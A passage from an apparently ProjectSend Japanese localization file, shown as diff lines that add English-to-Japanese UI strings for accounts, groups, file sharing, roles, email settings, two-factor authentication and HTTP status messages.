"管理", + "After uploading you can assign it to clients and groups": "アップロード後に、クライアントやグループへ割り当てられます", + "Agree": "同意", + "All": "すべて", + "All actions": "すべての操作", + "All categories": "すべてのカテゴリ", + "All clients": "すべてのクライアント", + "All comments": "すべてのコメント", + "All failed jobs deleted.": "失敗したジョブをすべて削除しました。", + "All files": "すべてのファイル", + "All groups": "すべてのグループ", + "All permissions": "すべての権限", + "All rights reserved.": "All rights reserved.", + "All roles": "すべてのロール", + "All statuses": "すべてのステータス", + "All system users": "すべてのシステムユーザー", + "All types": "すべての種類", + "Already have an account?": "すでにアカウントをお持ちですか?", + "Already Reported": "報告済", + "Always": "常に", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "アカウントが作成されました。すぐにログインできます。", + "An account was activated": "アカウントが有効化されました", + "An account was created": "アカウントが作成されました", + "An account was deactivated": "アカウントが無効化されました", + "An account was deleted": "アカウントが削除されました", + "An account was permanently erased": "アカウントが完全に消去されました", + "An account was updated": "アカウントが更新されました", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "アカウントを削除する管理者には毎回この選択が尋ねられます。利用者自身が削除したアカウントの自動消去は無人で実行され、この設定に従うため、持ち主のいないものが残ることはありません。", + "An administrator will review your group requests.": "管理者がグループ参加の申請を確認します。", + "An orphan file was deleted": "孤立ファイルが削除されました", + "An orphan file was imported": "孤立ファイルがインポートされました", + "An overview of this installation": "このインストールの概要", + "Any audience": "対象を問わない", + "Anyone": "誰でも", + "Anyone using it will no longer be able to download the file.": "このリンクを使っている人は、ファイルをダウンロードできなくなります。", + "Appearance": "外観", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "訪問者向けの公開グループ・ファイルページと、クライアントポータル「マイファイル」に適用されます。", + "Apply filters": "フィルタを適用", + "Approve": "承認", + "Approve account requests": "アカウント申請の承認", + "Approve group membership requests": "グループ参加申請の承認", + "Approved the account request of \":subject\"": "「:subject」のアカウント申請を承認しました", + "Approved the membership of \":member\" to the group \":subject\"": "「:member」のグループ「:subject」への参加を承認しました", + "Archive": "アーカイブ", + "Are deleted along with the account": "アカウントと一緒に削除する", + "Are reassigned to another account": "別のアカウントに引き継ぐ", + "Are you sure you want to delete your account?": "本当にアカウントを削除しますか?", + "Assign": "割当", + "Assign categories to files": "ファイルへのカテゴリ割り当て", + "Assigned": "割り当て済み", + "Assigned clients": "担当クライアント", + "Assigned the file \":subject\" to :target": "ファイル「:subject」を :target に割り当てました", + "Associate": "仲間", + "Attach": "添付", + "Audience": "対象", + "Authentication code": "認証コード", + "Authentication requirements for this installation": "このインストールの認証要件", + "Author": "作成者", + "Available groups": "参加できるグループ", + "Available placeholders": "使用できるプレースホルダー", + "Back to My files": "マイファイルに戻る", + "Bad Gateway": "不正なゲートウェイ", + "Bad Request": "不正なリクエスト", + "Bandwidth Limit Exceeded": "帯域幅の制限を超過", + "Blue": "青", + "Body": "本文", + "Browse": "ブラウズ", + "Browse publicly shared groups and files below.": "公開共有されているグループとファイルを以下からご覧ください。", + "Built-in": "組み込み", + "Built-in role names cannot be changed.": "組み込みロールの名前は変更できません。", + "Built-in roles cannot be deleted.": "組み込みロールは削除できません。", + "Call to action": "行動を促すボタン", + "Cancel": "キャンセル", + "Categories": "カテゴリ", + "Category": "カテゴリ", + "Category created.": "カテゴリを作成しました。", + "Category deleted.": "カテゴリを削除しました。", + "Category updated.": "カテゴリを更新しました。", + "Changed their password": "パスワードを変更しました", + "Checkbox": "チェックボックス", + "Checksum (SHA-256)": "チェックサム (SHA-256)", + "Choose": "選択", + "Choose :name": ":nameを選択", + "Choose an account…": "アカウントを選択…", + "Choose File": "ファイルを選択", + "Choose Image": "画像の選択", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "メールでも受け取る通知を選んでください。すべての通知は、いずれにせよ通知ベルに表示されます。", + "Clear": "クリア", + "Click to copy": "クリックしてコピー", + "Client": "クライアント", + "Client account approved": "クライアントアカウントを承認", + "Client account denied": "クライアントアカウントを却下", + "Client account edited": "クライアントアカウントを編集", + "Client Closed Request": "クライアントによるリクエストの終了", + "Client created.": "クライアントを作成しました。", + "Client deleted.": "クライアントを削除しました。", + "Client Manager": "クライアント管理者", + "Client settings": "クライアント設定", + "Client updated.": "クライアントを更新しました。", + "Client welcome (staff-created account)": "クライアントへのご案内 (スタッフが作成したアカウント)", + "Clients": "クライアント", + "Clients and groups that can download this file": "このファイルをダウンロードできるクライアントとグループ", + "Clients asking to join groups": "グループへの参加を希望しているクライアント", + "Clients who registered themselves and are waiting for approval": "自分で登録し、承認を待っているクライアント", + "Close": "閉じる", + "Collapse": "折りたたむ", + "Collapse All": "すべて折りたたむ", + "Color": "色", + "Columns": "列", + "Comment": "コメント", + "Confirm": "確認", + "Confirm password": "パスワードの確認", + "Conflict": "競合", + "Connect": "接続", + "Connection Closed Without Response": "応答なしで接続が閉じられました", + "Connection Timed Out": "接続がタイムアウト", + "Continue": "継続", + "Copy URL": "URL をコピー", + "Copy link": "リンクをコピー", + "Counters": "カウンター", + "Create": "作成", + "Create :name": ":nameを作成", + "Create a client account": "クライアントアカウントを作成", + "Create a public link": "公開リンクを作成", + "Create a staff account for this installation": "このインストールのスタッフアカウントを作成", + "Create administrator account": "管理者アカウントを作成", + "Create an account for someone you share files with": "ファイルを共有する相手のアカウントを作成します", + "Create categories": "カテゴリの作成", + "Create category": "カテゴリを作成", + "Create client": "クライアントを作成", + "Create clients": "クライアントの作成", + "Create custom assets": "カスタムアセットの作成", + "Create field": "フィールドを作成", + "Create folder": "フォルダを作成", + "Create group": "グループを作成", + "Create groups": "グループの作成", + "Create link": "リンクを作成", + "Create own folders": "自分のフォルダの作成", + "Create role": "ロールを作成", + "Create system users": "システムユーザーの作成", + "Create user": "ユーザーを作成", + "Created": "作成済", + "Created a public link for the file \":subject\"": "ファイル「:subject」の公開リンクを作成しました", + "Created by": "作成者", + "Created the account \":subject\"": "アカウント「:subject」を作成しました", + "Created the folder \":subject\"": "フォルダ「:subject」を作成しました", + "Created the group \":subject\"": "グループ「:subject」を作成しました", + "Created the role \":subject\"": "ロール「:subject」を作成しました", + "Custom": "カスタム", + "Custom assets": "カスタムアセット", + "Custom fields": "カスタムフィールド", + "Custom links with an optional expiration date or download limit, no account needed.": "有効期限やダウンロード回数の上限を自由に設定できる、アカウント不要のリンクです。", + "Custom roles let you grant a precise set of permissions": "カスタムロールなら、必要な権限だけを細かく指定して付与できます", + "Custom SMTP": "カスタム SMTP", + "Customize the wording of any transactional email sent by this installation.": "このインストールが送信する各種メールの文面を自由に変更できます。", + "Customized": "カスタマイズ済み", + "Dark": "ダーク", + "Dashboard": "ダッシュボード", + "Dashboard widgets": "ダッシュボードのウィジェット", + "Data retention and visibility for this installation": "このインストールのデータ保持と公開範囲", + "Database": "データベース", + "Date": "日付", + "Days before a denied membership request can be made again": "却下された参加申請を再度出せるようになるまでの日数", + "Deactivate your account now; it is permanently erased after :days days": "アカウントを今すぐ無効化します。:days 日後に完全に消去されます", + "Deactivated the account \":subject\"": "アカウント「:subject」を無効化しました", + "Default": "既定", + "Defaults to the file name.": "既定ではファイル名が使われます。", + "Delete": "削除", + "Delete :name": ":nameを削除", + "Delete account": "アカウントを削除", + "Delete all": "すべて削除", + "Delete all failed": "失敗をすべて削除", + "Delete all failed jobs?": "失敗したジョブをすべて削除しますか?", + "Delete categories": "カテゴリの削除", + "Delete category": "カテゴリを削除", + "Delete category?": "カテゴリを削除しますか?", + "Delete client": "クライアントを削除", + "Delete client?": "クライアントを削除しますか?", + "Delete clients": "クライアントの削除", + "Delete custom assets": "カスタムアセットの削除", + "Delete field": "フィールドを削除", + "Delete field?": "フィールドを削除しますか?", + "Delete file": "ファイルを削除", + "Delete file?": "ファイルを削除しますか?", + "Delete files": "ファイルの削除", + "Delete folder": "フォルダを削除", + "Delete folder?": "フォルダを削除しますか?", + "Delete group": "グループを削除", + "Delete group?": "グループを削除しますか?", + "Delete groups": "グループの削除", + "Delete others' files": "他の人のファイルの削除", + "Delete own files": "自分のファイルの削除", + "Delete role": "ロールを削除", + "Delete role?": "ロールを削除しますか?", + "Delete selected": "選択項目を削除", + "Delete selected files?": "選択したファイルを削除しますか?", + "Delete system users": "システムユーザーの削除", + "Delete this file?": "このファイルを削除しますか?", + "Delete user": "ユーザーを削除", + "Delete user?": "ユーザーを削除しますか?", + "Deleted account": "削除済みのアカウント", + "Deleted the account \":name\"": "アカウント「:name」を削除しました", + "Deleted the file \":name\"": "ファイル「:name」を削除しました", + "Deleted the folder \":name\" and its contents": "フォルダ「:name」とその中身を削除しました", + "Deleted the group \":name\"": "グループ「:name」を削除しました", + "Deleted the orphan file \":name\"": "孤立ファイル「:name」を削除しました", + "Deleted the role \":name\"": "ロール「:name」を削除しました", + "Denied the account request of \":name\"": "「:name」のアカウント申請を却下しました", + "Denied the membership of \":member\" to the group \":subject\"": "「:member」のグループ「:subject」への参加を却下しました", + "Deny": "却下", + "Deny this request?": "この申請を却下しますか?", + "Description": "説明", + "Description (optional)": "説明 (任意)", + "Detach": "解除", + "Details": "詳細", + "Disable": "無効化", + "Disable two-factor authentication?": "二要素認証を無効にしますか?", + "Disabled two-factor authentication": "二要素認証を無効にしました", + "Discard": "破棄", + "Discourage search engines from indexing this site": "検索エンジンにこのサイトを登録しないよう要請する", + "Dismiss": "閉じる", + "Documentation": "ドキュメント", + "Don't have an account?": "アカウントをお持ちでないですか?", + "Done": "完了", + "Down": "下", + "Download": "ダウンロード", + "Download as zip": "ZIP でダウンロード", + "Downloaded the file \":subject\"": "ファイル「:subject」をダウンロードしました", + "Downloaded the file \":subject\" via a public link": "公開リンク経由でファイル「:subject」をダウンロードしました", + "Downloaded the file \":subject\" via the public group listing": "公開グループ一覧からファイル「:subject」をダウンロードしました", + "Downloads": "ダウンロード", + "Downloads are never recorded with an IP address.": "ダウンロードの記録に IP アドレスが残ることはありません。", + "Drag to reorder": "ドラッグして並べ替え", + "Drag widgets here": "ここにウィジェットをドラッグ", + "Dropdown": "ドロップダウン", + "Duplicate": "複製", + "Duplicate :name": ":nameを複製", + "Edit": "編集", + "Edit :name": ":nameを編集", + "Edit categories": "カテゴリの編集", + "Edit clients": "クライアントの編集", + "Edit custom assets": "カスタムアセットの編集", + "Edit email templates": "メールテンプレートの編集", + "Edit groups": "グループの編集", + "Edit others' files": "他の人のファイルの編集", + "Edit own files": "自分のファイルの編集", + "Edit system settings": "システム設定の編集", + "Edit system users": "システムユーザーの編集", + "Edit this client account": "このクライアントアカウントを編集", + "Edit this staff account": "このスタッフアカウントを編集", + "Edition": "エディション", + "Email": "メール", + "Email address": "メールアドレス", + "Email settings": "メール設定", + "Email template reset to default.": "メールテンプレートを既定の文面に戻しました。", + "Email template saved.": "メールテンプレートを保存しました。", + "Email templates": "メールテンプレート", + "Empty file": "空のファイル", + "Enable": "有効化", + "Enable the public directory page": "公開ディレクトリページを有効にする", + "Enable two-factor authentication": "二要素認証を有効にする", + "Enabled two-factor authentication": "二要素認証を有効にしました", + "Encrypted environment file already exists.": "暗号化されたenvファイルが既に存在しています。", + "Encrypted environment file not found.": "暗号化されたenvファイルが見つかりません。", + "Encryption": "暗号化", + "Enter one of your recovery codes.": "リカバリーコードのいずれかを入力してください。", + "Enter the six-digit code from your authenticator app.": "認証アプリに表示される 6 桁のコードを入力してください。", + "Enter your email and password below to log in": "ログインするには、以下にメールアドレスとパスワードを入力してください", + "Environment": "動作環境", + "Environment file already exists.": "envファイルが既に存在しています。", + "Environment file not found.": "envファイルが見つかりません。", + "errors": "エラー", + "Every comment on files you can see, newest first": "閲覧できるファイルへのすべてのコメント (新しい順)", + "Every download records the IP address of whoever downloaded it.": "ダウンロードのたびに、実行した人の IP アドレスが記録されます。", + "Everyone": "全員", + "Everything that happened on this installation, newest first": "このインストールで起きたすべての出来事 (新しい順)", + "Expand": "展開", + "Expand All": "すべて展開", + "Expectation Failed": "指定された要件を満たしていません", + "Expires": "有効期限", + "Expires :date": ":date に期限切れ", + "Explanation": "説明", + "Export": "エクスポート", + "Export :name": ":nameをエクスポート", + "Export CSV": "CSV をエクスポート", + "External storage": "外部ストレージ", + "Extra fields shown on the client create and edit screens.": "クライアントの作成・編集画面に表示する追加フィールドです。", + "Failed Dependency": "失敗した依存関係", + "Failed to send: :error": "送信できませんでした: :error", + "File": "ファイル", + "File: :name": "ファイル: :name", + "File deleted.": "ファイルを削除しました。", + "File imported.": "ファイルをインポートしました。", + "File name": "ファイル名", + "File shared with a client": "クライアントに共有したファイル", + "File updated.": "ファイルを更新しました。", + "File uploaded.": "ファイルをアップロードしました。", + "Files": "ファイル", + "Files can only be assigned to clients or groups.": "ファイルを割り当てられるのはクライアントかグループだけです。", + "Files shared with you": "共有されたファイル", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "データベースに対応する記録がないままディスク上に残っているファイルです。アップロードの中断、バックアップからの復元、ファイルシステムへの直接操作などが原因です。", + "Flat labels for files — independent of folders. A file can have several.": "フォルダとは無関係に付けられる、ファイル用のシンプルなラベルです。1 つのファイルに複数付けられます。", + "Folder": "フォルダ", + "Folder: :name": "フォルダ: :name", + "Folder created.": "フォルダを作成しました。", + "Folder deleted.": "フォルダを削除しました。", + "Folder shared with a client": "クライアントに共有したフォルダ", + "Folders can only be shared with clients or groups.": "フォルダを共有できるのはクライアントかグループだけです。", + "Folders cannot be nested more than :max levels deep.": "フォルダは :max 階層より深くは入れ子にできません。", + "Forbidden": "禁止されています", + "Forgot password?": "パスワードをお忘れですか?", + "Found": "発見", + "From": "差出人", + "From address": "差出人アドレス", + "From name": "差出人名", + "Gateway Timeout": "ゲートウェイのタイムアウト", + "General": "全般", + "General settings": "全般設定", + "Go Home": "ホームへ", + "Go to page :page": ":pageページへ", + "Go to the login form": "ログインフォームへ", + "Gone": "消滅", + "Gray": "グレー", + "Green": "緑", + "Group": "グループ", + "Group created.": "グループを作成しました。", + "Group deleted.": "グループを削除しました。", + "Group membership approved": "グループ参加を承認", + "Group membership denied": "グループ参加を却下", + "Group updated.": "グループを更新しました。", + "Groups": "グループ", + "Groups clients can request to join at registration": "登録時にクライアントが参加を申請できるグループ", + "Groups let you assign files to several clients at once": "グループを使うと、複数のクライアントにまとめてファイルを割り当てられます", + "Hello :name,": ":name 様", + "Hello, :name": ":name 様", + "Hello!": "こんにちは", + "Here is what has been shared with you": "共有された内容は次のとおりです", + "Hide": "非表示", + "Hide :name": ":nameを非表示", + "Home": "ホーム", + "Host": "ホスト", + "How client accounts are created on this installation": "このインストールでクライアントアカウントが作られる方法", + "How long a self-deleted account is kept before it is permanently erased.": "本人が削除したアカウントを、完全に消去するまで保持する期間です。", + "How many files/folders were shared at once": "一度に共有されたファイル・フォルダの数", + "HTTP Version Not Supported": "サポートしていないHTTPバージョン", + "I'm a teapot": "私はティーポットです", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "消去の実行時にこのアカウントが存在しない場合、ファイルは持ち主のないまま残さず削除されます。", + "If you did not create an account, no further action is required.": "アカウント作成にお心当たりがない場合は、このメールを無視してください。", + "If you did not request a password reset, no further action is required.": "パスワード再設定のリクエストにお心当たりがない場合は、このメールを無視してください。", + "If you received this, your email configuration is working.": "このメールが届いていれば、メール設定は正しく動作しています。", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "\":actionText\"ボタンがクリックできない場合は、以下のURLに直接アクセスしてください。", + "IM Used": "IM 使用済み", + "Image": "画像", + "Impersonate": "なりすまし", + "Impersonation": "なりすまし", + "Import": "インポート", + "Import :name": ":nameをインポート", + "Import orphan files": "孤立ファイルをインポート", + "Import selected": "選択項目をインポート", + "Imported the orphan file \":subject\"": "孤立ファイル「:subject」をインポートしました", + "Inactive": "無効", + "Include this file when a group it's shared with is public.": "共有先のグループが公開のとき、このファイルも含めます。", + "Insert": "挿入", + "Installed ProjectSend": "ProjectSend をインストールしました", + "Insufficient Storage": "ストレージ不足", + "Internal Server Error": "内部サーバーエラー", + "Introduction": "導入", + "Invalid filename.": "無効なファイル名", + "Invalid JSON was returned from the route.": "無効なJSON形式がルートから返却されました。", + "Invalid SSL Certificate": "無効なSSL証明書", + "Label": "ラベル", + "Last modified": "最終更新", + "Latest files": "最新のファイル", + "Leave": "退出", + "Leave empty for a link that never expires.": "期限なしのリンクにするには空欄のままにしてください。", + "Leave empty for unlimited downloads.": "ダウンロード回数を無制限にするには空欄のままにしてください。", + "Leave group": "グループを退出", + "Leave this group?": "このグループを退出しますか?", + "Left the group \":subject\"": "グループ「:subject」を退出しました", + "length": "長さ", + "Length Required": "長さが必要", + "Library": "ライブラリ", + "Light": "ライト", + "Like": "いいね", + "Limit download counts": "ダウンロード回数の制限", + "Limit to assigned clients": "担当クライアントに限定", + "Limits for files uploaded to this installation": "このインストールにアップロードされるファイルの制限", + "Link unavailable": "リンクを利用できません", + "Load": "負荷", + "Loading…": "読み込み中…", + "Local storage": "ローカルストレージ", + "Localize": "ローカライズ", + "Location": "位置", + "Locked": "ロック済", + "Log in": "ログイン", + "Log In": "ログイン", + "Log in to your account": "アカウントにログイン", + "Log out": "ログアウト", + "Log Out": "ログアウト", + "Logged in": "ログインしました", + "Logged out": "ログアウトしました", + "Login": "ログイン", + "Logout": "ログアウト", + "Loop Detected": "ループを検出", + "Mail provider settings saved.": "メールプロバイダーの設定を保存しました。", + "Mailgun": "Mailgun", + "Maintenance Mode": "メンテナンス中", + "Manage custom fields": "カスタムフィールドの管理", + "Manage public links from the edit page.": "公開リンクは編集ページで管理できます。", + "Manage system users and roles": "システムユーザーとロールの管理", + "Manage updates": "更新の管理", + "Manage your profile and account settings": "プロフィールとアカウント設定を管理します", + "Mark all read": "すべて既読にする", + "Mark as read": "既読にする", + "Mark as unread": "未読にする", + "Max downloads": "最大ダウンロード回数", + "Maximum file size (MB)": "最大ファイルサイズ (MB)", + "Member": "メンバー", + "Members": "メンバー", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "このロールのメンバーには、担当クライアントのファイルとフォルダ、そして自分がアップロードしたものだけが表示されます。", + "Membership request approved.": "参加申請を承認しました。", + "Membership request denied.": "参加申請を却下しました。", + "Membership requests": "参加申請", + "Membership requests are reviewed by an administrator": "参加申請は管理者が確認します", + "Method Not Allowed": "未許可のメソッド", + "Minutes until the reset link expires": "再設定リンクが期限切れになるまでの分数", + "Misdirected Request": "誤ったリクエスト", + "Modified": "更新日時", + "Moved Permanently": "恒久的に移動", + "Moved the folder \":subject\"": "フォルダ「:subject」を移動しました", + "Multi-line text": "複数行テキスト", + "Multi-Status": "マルチステータス", + "Multiple Choices": "複数の選択肢", + "Multiple files/folders shared at once (digest)": "複数のファイル・フォルダをまとめて共有 (ダイジェスト)", + "My files": "マイファイル", + "My groups": "マイグループ", + "Name": "名前", + "Name or description": "名前または説明", + "Name or email address": "名前またはメールアドレス", + "Never": "しない", + "Never expires": "期限なし", + "Network Authentication Required": "ネットワーク認証が必要", + "Network Connect Timeout Error": "ネットワーク接続のタイムアウトエラー", + "Network Read Timeout Error": "ネットワーク読み取りのタイムアウトエラー", + "New": "新しい", + "New :name": ":nameを新規作成", + "New category": "新しいカテゴリ", + "New client": "新しいクライアント", + "New client registrations and client uploads are sent here — at least one address is required.": "新しいクライアントの登録やアップロードの通知はここに届きます。少なくとも 1 件のアドレスが必要です。", + "New field": "新しいフィールド", + "New folder": "新しいフォルダ", + "New group": "新しいグループ", + "New membership request from :client for the group \":group\".": ":client からグループ「:group」への参加申請が届きました。", + "New password (leave blank to keep current)": "新しいパスワード (現在のパスワードのままにする場合は空欄)", + "New role": "新しいロール", + "New user": "新しいユーザー", + "News": "お知らせ", + "Next": "次へ", + "No": "いいえ。", + "No activity matches these filters.": "この条件に一致するアクティビティはありません。", + "No activity recorded yet.": "まだアクティビティは記録されていません。", + "No categories match your search.": "検索条件に一致するカテゴリはありません。", + "No categories yet.": "カテゴリはまだありません。", + "No clients match these filters.": "この条件に一致するクライアントはいません。", + "No clients yet.": "クライアントはまだいません。", + "No comments match these filters.": "この条件に一致するコメントはありません。", + "No Content": "コンテンツなし", + "No custom fields yet.": "カスタムフィールドはまだありません。", + "No downloads recorded yet.": "まだダウンロードは記録されていません。", + "No fields match your search.": "検索条件に一致するフィールドはありません。", + "No files have been shared with you yet.": "まだファイルは共有されていません。", + "No files here yet.": "ここにはまだファイルがありません。", + "No files or folders match your search.": "検索条件に一致するファイルやフォルダはありません。", + "No files yet. Upload the first one.": "ファイルはまだありません。最初の 1 件をアップロードしましょう。", + "No folder": "フォルダなし", + "No groups match these filters.": "この条件に一致するグループはありません。", + "No groups yet.": "グループはまだありません。", + "No members yet.": "メンバーはまだいません。", + "No more categories": "これ以上のカテゴリはありません", + "No more clients to add": "追加できるクライアントはこれ以上ありません", + "No news yet.": "お知らせはまだありません。", + "No orphan files found.": "孤立ファイルは見つかりませんでした。", + "No orphan files match your search.": "検索条件に一致する孤立ファイルはありません。", + "No pending requests.": "保留中の申請はありません。", + "No public links yet.": "公開リンクはまだありません。", + "No recipients added yet.": "宛先はまだ追加されていません。", + "No requests match your search.": "検索条件に一致する申請はありません。", + "No roles match this filter.": "この条件に一致するロールはありません。", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "サイズ制限はありません。アップロードは一時停止でき、中断後は自動的に再開します。", + "No users match these filters.": "この条件に一致するユーザーはいません。", + "No users yet.": "ユーザーはまだいません。", + "Nobody (optional for everyone)": "誰にも求めない (全員任意)", + "Non-Authoritative Information": "信頼できない情報", + "None": "なし", + "None of the selected items could be found.": "選択した項目はいずれも見つかりませんでした。", + "Not Acceptable": "受付不可", + "Not Extended": "拡張なし", + "Not Found": "見つかりません", + "Not Implemented": "未実装", + "Not Modified": "未変更", + "Not shared with anyone yet.": "まだ誰にも共有されていません。", + "Notification settings": "通知設定", + "Notifications": "通知", + "Nothing is publicly shared yet.": "まだ公開共有されているものはありません。", + "of": "の", + "OK": "はい", + "One option per line": "1 行に 1 つの選択肢", + "Only clients can be group members.": "グループのメンバーになれるのはクライアントだけです。", + "Only clients can comment here.": "ここでコメントできるのはクライアントだけです。", + "Only for anonymous downloads": "匿名のダウンロードのみ", + "Only people who are signed in can comment here.": "ここでコメントできるのはログインしている人だけです。", + "Only staff can comment here.": "ここでコメントできるのはスタッフだけです。", + "Only the wording below is editable — any button or link in this email stays fixed.": "編集できるのは以下の文面だけです。このメール内のボタンやリンクは変更されません。", + "Open": "開く", + "Open folder": "フォルダを開く", + "Open in a current window": "現在のウィンドウで開く", + "Open in a new window": "新しいウィンドウで開く", + "Open in a parent frame": "親フレームで開く", + "Open in the topmost frame": "一番上のフレームで開く", + "Open on the website": "ウェブサイトで開く", + "Open public listing": "公開一覧を開く", + "Options": "選択肢", + "Or enter this key manually:": "または、次のキーを手動で入力してください:", + "Orange": "オレンジ", + "Origin Is Unreachable": "オリジンに到達できません", + "Outgoing email": "送信メール", + "Outgoing email theme": "送信メールのテーマ", + "Page :current of :last": ":last ページ中 :current ページ", + "Page Expired": "ページが無効です", + "Pagination Navigation": "ページネーション", + "Partial Content": "部分的なコンテンツ", + "Password": "パスワード", + "Password reset": "パスワードの再設定", + "Path": "パス", + "Payload Too Large": "ペイロードが大きすぎます", + "Payment Required": "お支払いが必要", + "Pending approval": "承認待ち", + "Permanent Redirect": "恒久的なリダイレクト", + "Permanently erased a deleted account": "削除済みアカウントを完全に消去しました", + "Permissions": "権限", + "Pink": "ピンク", + "Platform": "プラットフォーム", + "Please click the button below to verify your email address.": "メールアドレスを確認するには、以下のボタンをクリックしてください。", + "Port": "ポート", + "Postmark": "Postmark", + "Powered by ProjectSend": "ProjectSend で動作しています", + "Precondition Failed": "前提条件が失敗", + "Precondition Required": "事前条件が必要", + "Preparing your download…": "ダウンロードを準備しています…", + "Preview": "プレビュー", + "Preview: :theme": "プレビュー: :theme", + "Previous": "前へ", + "Price": "価格", + "Privacy": "プライバシー", + "Privacy settings": "プライバシー設定", + "Private": "非公開", + "Processing": "処理中", + "Profile": "プロフィール", + "Profile information was updated": "プロフィール情報が更新されました", + "ProjectSend :latestVersion is available (you have :currentVersion)": "ProjectSend :latestVersion が利用できます (現在は :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend は、クライアントにファイルを届けるための自由でオープンソースなソフトウェアです。:license のもとで公開されており、自由に使用・研究・改変・共有できます。", + "ProjectSend is ready": "ProjectSend の準備が整いました", + "ProjectSend was installed": "ProjectSend がインストールされました", + "Provider": "プロバイダー", + "Proxy Authentication Required": "プロキシ認証が必要", + "Public": "公開", + "Public file": "公開ファイル", + "Public files": "公開ファイル", + "Public group": "公開グループ", + "Public group listing": "公開グループ一覧", + "Public groups": "公開グループ", + "Public link": "公開リンク", + "Public link created.": "公開リンクを作成しました。", + "Public link revoked.": "公開リンクを無効化しました。", + "Public links": "公開リンク", + "Public listing": "公開一覧", + "Public listing settings": "公開一覧の設定", + "Public listing URL": "公開一覧の URL", + "Public pages & portal": "公開ページとポータル", + "Public pages and client portal theme": "公開ページとクライアントポータルのテーマ", + "Published": "公開日", + "Purple": "紫", + "Quota": "上限", + "Railgun Error": "レールガンエラー", + "Range Not Satisfiable": "範囲外のレンジ", + "Read more": "続きを読む", + "Reassign them to": "引き継ぎ先", + "Recent activity": "最近のアクティビティ", + "Recipient": "宛先", + "Record": "記録", + "Record IP addresses for downloads": "ダウンロード時に IP アドレスを記録する", + "Recovery code": "リカバリーコード", + "Red": "赤", + "Regards,": "よろしくお願いします,", + "Regenerate recovery codes": "リカバリーコードを再生成", + "Regenerate recovery codes?": "リカバリーコードを再生成しますか?", + "Regenerated two-factor recovery codes": "二要素認証のリカバリーコードを再生成しました", + "Register": "アカウント作成", + "Register to access the files shared with you.": "共有されたファイルを見るには登録してください。", + "Register to request access. An administrator will review your request.": "アクセスを申請するには登録してください。管理者が申請を確認します。", + "Registered a new client account": "新しいクライアントアカウントを登録しました", + "Related": "関連", + "Remember me": "ログイン状態を保持する", + "Remove": "解除", + "Removed \":member\" from the group \":subject\"": "「:member」をグループ「:subject」から削除しました", + "Removed the file \":subject\" from :target": "ファイル「:subject」を :target から外しました", + "Rename": "名前を変更", + "Renamed the folder \":subject\"": "フォルダ「:subject」の名前を変更しました", + "Repository": "リポジトリ", + "Request declined": "申請は却下されました", + "Request Header Fields Too Large": "要求ヘッダーフィールドが大きすぎます", + "Request membership": "参加を申請", + "Request membership to groups (optional)": "グループへの参加を申請する (任意)", + "Request Timeout": "リクエストタイムアウト", + "Requested": "申請日時", + "Requested membership to the group \":subject\"": "グループ「:subject」への参加を申請しました", + "Requested memberships wait in the membership requests queue for approval.": "申請した参加は、参加申請の一覧で承認を待ちます。", + "Require two-factor authentication": "二要素認証を必須にする", + "Required": "必須", + "Reset Content": "コンテンツのリセット", + "Reset Password": "パスワード再設定", + "Reset Password Notification": "パスワード再設定のお知らせ", + "Reset this email to its default wording?": "このメールを既定の文面に戻しますか?", + "Reset to default": "既定に戻す", + "Restore": "復元", + "Restore :name": ":nameを復元", + "Restricted extension": "制限された拡張子", + "Result": "結果", + "results": "結果", + "Review membership requests": "参加申請の確認", + "Review pending requests": "保留中の申請を確認", + "Retry With": "再試行", + "Revoke": "無効化", + "Revoke link": "リンクを無効化", + "Revoke this public link?": "この公開リンクを無効化しますか?", + "Revoked a public link for the file \":subject\"": "ファイル「:subject」の公開リンクを無効化しました", + "Role": "ロール", + "Role created.": "ロールを作成しました。", + "Role deleted.": "ロールを削除しました。", + "Role name": "ロール名", + "Role updated.": "ロールを更新しました。", + "Roles": "ロール", + "Sample email": "サンプルメール", + "Save": "保存", + "Save :name": ":nameを保存", + "Save & Close": "保存して閉じる", + "Save & Return": "保存して戻る", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "変更を保存すると公開されます。それまでは、これらのボタンは未公開のページを指しています。", + "Saved": "保存しました", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "この QR コードを認証アプリで読み取り、表示された 6 桁のコードを入力して確認してください。", + "Scanning:": "スキャン中:", + "Scheduled tasks": "スケジュールされたタスク", + "Search": "検索", + "Search :name": ":nameを検索", + "Search all files and folders": "すべてのファイルとフォルダを検索", + "Search by client or group": "クライアントまたはグループで検索", + "Search by name": "名前で検索", + "Search by name or email address": "名前またはメールアドレスで検索", + "Search by path": "パスで検索", + "Search categories": "カテゴリを検索", + "Search fields": "フィールドを検索", + "Search your files": "自分のファイルを検索", + "Security": "セキュリティ", + "Security settings": "セキュリティ設定", + "See Other": "他を参照要", + "Select": "選択", + "Select :name": ":name を選択", + "Select a client or group": "クライアントまたはグループを選択", + "Select a client to add": "追加するクライアントを選択", + "Select a role": "ロールを選択", + "Select All": "すべて選択", + "Select an option": "選択してください", + "Select at least one file or folder.": "ファイルまたはフォルダを 1 つ以上選択してください。", + "Self-registered clients join this group automatically.": "自分で登録したクライアントは、自動的にこのグループに参加します。", + "Send": "送信", + "Send email notifications": "メール通知を送信する", + "Send test email": "テストメールを送信", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "キューを通さず今すぐ実際のメールを送信し、上の設定が本当に機能するか確認できます。", + "Separate paragraphs with a blank line.": "段落は空行で区切ってください。", + "Server Error": "サーバーエラー", + "Service Unavailable": "サービスは利用できません", + "Session Has Expired": "セッションの有効期限切れ", + "Set file expiration dates": "ファイルの有効期限の設定", + "Set to 0 for no limit. Available disk space still applies.": "制限なしにするには 0 を指定します。利用可能なディスク容量の制約は残ります。", + "Set to 0 to allow requesting again immediately.": "すぐに再申請できるようにするには 0 を指定します。", + "Set up ProjectSend": 